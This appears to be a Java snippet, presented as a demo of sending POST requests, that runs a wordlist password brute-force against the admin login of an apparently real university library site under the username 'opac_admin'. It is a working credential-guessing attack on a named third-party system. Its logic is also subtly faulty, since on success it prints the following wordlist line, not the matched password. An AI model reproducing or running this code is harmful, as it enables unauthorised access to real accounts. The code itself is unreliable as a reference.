用java模拟发送post请求
package com.bytestream.practice.demo;
import java.io.BufferedReader;
import
java.io.File;
import
java.io.FileReader;
import
java.io.IOException;
import
java.io.InputStreamReader;
import
java.io.PrintWriter;
import
java.net.URL;
import
java.net.URLConnection;
public class SimulateSendPost {
public static void
main(String[] args) throws IOException
{
/*
* User user1 =
new User(); user1.setName(123); User user2 = new User();
* user2 = user1;
user2.setEmail("284135112@qq.com");
* System.out.println("对象/t用户名/t邮箱"); System.out.println("user1/t"
+
* user1.getName() + "/t" +
user1.getEmail());
*
System.out.println("user2/t" + user2.getName() + "/t" +
* user2.getEmail());
*/
/*
* String
test = "newnew"; System.out.println(test.substring(0, 6));
*/
File
file = new
File("G:\\pass3.txt");
BufferedReader reader =
null;
reader = new
BufferedReader(new
FileReader(file));
int
i = 0;
String
temp;
while ((temp =
reader.readLine()) != null) {
String result2 = sendPost("http://lib.stdu.edu.cn/hwweb/admin/",
"passwd=" +
temp.trim() + "&username=opac_admin");
if
(!result2.contains("用户名或者密码错误")) {
System.out.println("密码是:" +
reader.readLine());
break;
}
i++;
if (i %
200 == 0)
{
System.out.println("第" + i + "次尝试...");
}
}
System.out.println("没有找到密码!");
}
public static String sendPost(String url, String param)
{
PrintWriter out = null;
BufferedReader in = null;
String result = "";
try
{
URL realUrl = new
URL(url);
// 打开和URL之间的连接
URLConnection conn =
realUrl.openConnection();
//
设置通用的请求属性
conn.setRequestProperty("accept", "*/*");
conn.setRequestProperty("connection",
"Keep-Alive");
conn.setRequestProperty("user-agent",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;SV1)");
// 发送POST请求必须设置如下两行
conn.setDoOutput(true);
conn.setDoInput(true);
//
获取URLConnection对象对应的输出流
out = new
PrintWriter(conn.getOutputStream());
// 发送请求参数
out.print(param);
//
flush输出流的缓冲
out.flush();
// 定义BufferedReader输入流来读取URL的响应
in = new BufferedReader(
new
InputStreamReader(conn.getInputStream()));
String line;
while
((line = in.readLine()) != null) {
result +=
line;
}
} catch (Exception e) {
System.out.println("发送 POST 请求出现异常!" +
e);
e.printStackTrace();
}
//
使用finally块来关闭输出流、输入流
finally {
try
{
if (out !=
null) {
out.close();
}
if (in != null)
{
in.close();
}
} catch (IOException ex)
{
ex.printStackTrace();
}
}
return result;
}
}